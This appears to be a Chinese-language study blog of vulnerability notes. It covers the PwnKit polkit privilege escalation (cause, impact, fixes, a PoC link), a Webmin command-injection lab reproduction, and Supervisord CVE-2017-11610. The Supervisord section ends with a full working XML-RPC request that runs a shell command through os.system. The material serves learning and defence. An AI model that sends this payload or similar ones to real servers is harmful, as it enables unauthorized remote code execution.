CVE-2021-4034 PWNKIT

  • 1/ 漏洞简述
Polkit是一个在各类Linux及Unix 操作系统中被广泛用于控制系统范围权限的组件。它为非特权进程与特权进程通信提供了一种有组织的方式,用户可以使用 polkit 以root用户权限执行命令,只要在需要执行的命令前面附加上:pkexec。成功利用CVE-2021-4034,也即Polkit本地提权漏洞允许任何非特权用户在未经漏洞修补的主机上获得 root 权限。
  • 2/ 影响面简述
⭕️ 漏洞在多套环境下都得到验证,任何具备普通权限的用户均能够经简单的工具利用该漏洞,获取完整的root权限。
⭕️ 该漏洞在以默认参数安装的 Ubuntu、Debian、Fedora、CentOS等常见Linux发行版上存在,能够经简单的工具利用获得完整的 root 权限。
⭕️ 其他 Linux 发行版同样可能容易受到攻击(例如:Solaris,FreeBSD等,但OpenBSD已被明确证明不可利用),攻击者可以经简单的工具利用该漏洞。
⭕️ 此漏洞已经在代码中存在并隐藏了 12 年多,影响自 2009 年 5 月第一个版本以来的所有 pkexec 版本(commit c8c3d83)。
⭕️ 该漏洞POC(利用代码)已经由Github等平台公开传播数日,攻击者利用成本极低
  • 3/复现截图
未修复之前
gcc xxxxx -o exp
修复之后
  • 4/ 原理简述
pkexec 的 main() 函数在开头(源码 534-568 行)处理命令行参数,并在 PATH 环境变量的目录中搜索要执行的程序(如果其路径不是绝对路径)。此时,如果命令行参数 argc 的数量为 0,则传递给 execve() 的参数列表 argv 为{NULL},也即 argv[0] 为 NULL,将会导致:
在第 534 行,整数 n 永久设置为 1;
在第 610 行,从 argv[1] 越界读取指针路径;
在第 639 行,指针 s 被越界写入 argv[1]。
这种越界写入允许我们将一个“不安全”的环境变量(例如,LD_PRELOAD)重新引入 pkexec 的环境。这些“不安全”变量通常在调用 main() 函数之前从 SUID 程序的环境中删除(通过 ld.so)。
  • 5/ 修复建议
⭕️ 若操作系统厂商/或 社区提供了漏洞修复补丁,则优先通过版本升级应用这些补丁。
⭕️ 若未发布相关补丁/或 情形不容许版本升级操作,则使用命令:chmod 0755 /usr/bin/pkexec 修改polkit可执行文件的权限(删除SUID位)。
⭕️ 做好信息资产漏洞评估与管理工作,避免攻击者通过其他漏洞间接利用PWNKIT漏洞提升权限,造成不必要的损失。
其他:
arthepsy/CVE-2021-4034: PoC for PwnKit: Local Privilege Escalation Vulnerability in polkit’s pkexec (CVE-2021-4034) (github.com)

Webmin 远程命令执行漏洞(CVE-2019-15107)(转)

概述

Webmin 被爆出1.920版本之前存在一个远程命令执行漏洞(CVE-2019-15107),当用户开 Webmin 密码重置功能后,攻击者利用该漏洞可在易受损系统中执行任意命令,进而获取系统 Shell。由于Webmin 中 Password_Change.cgi 在接收请求的处理过程中,old 参数存在命令注入漏洞,可被攻击者恶意利用。

影响版本

Webmin 1.920及以下版本。

漏洞复现

1、首先打开靶场。

1

2、利用 POC 进行验证,发现有回显。

2

3、直接查看 Flag。

3

文章地址Webmin 远程命令执行漏洞(CVE-2019-151070) (fofapro.github.io)

CVE-2017-11610-Supervisord命令执行

实验环境和介绍

Supervisord 远程代码执行漏洞_视频教程_i春秋_培育信息时代的安全感! (ichunqiu.com)

参考

https://blogs.securiteam.com/index.php/archives/3348

https://www.leavesongs.com/PENETRATION/supervisord-RCE-CVE-2017-11610.html

https://github.com/phith0n/vulhub/tree/master/supervisor/CVE-2017-11610

burp

POST /RPC2 HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 213

<?xml version="1.0"?>
<methodCall>
<methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>
<params>
<param>
<string>touch /tmp/success</string>
</param>
</params>
</methodCall>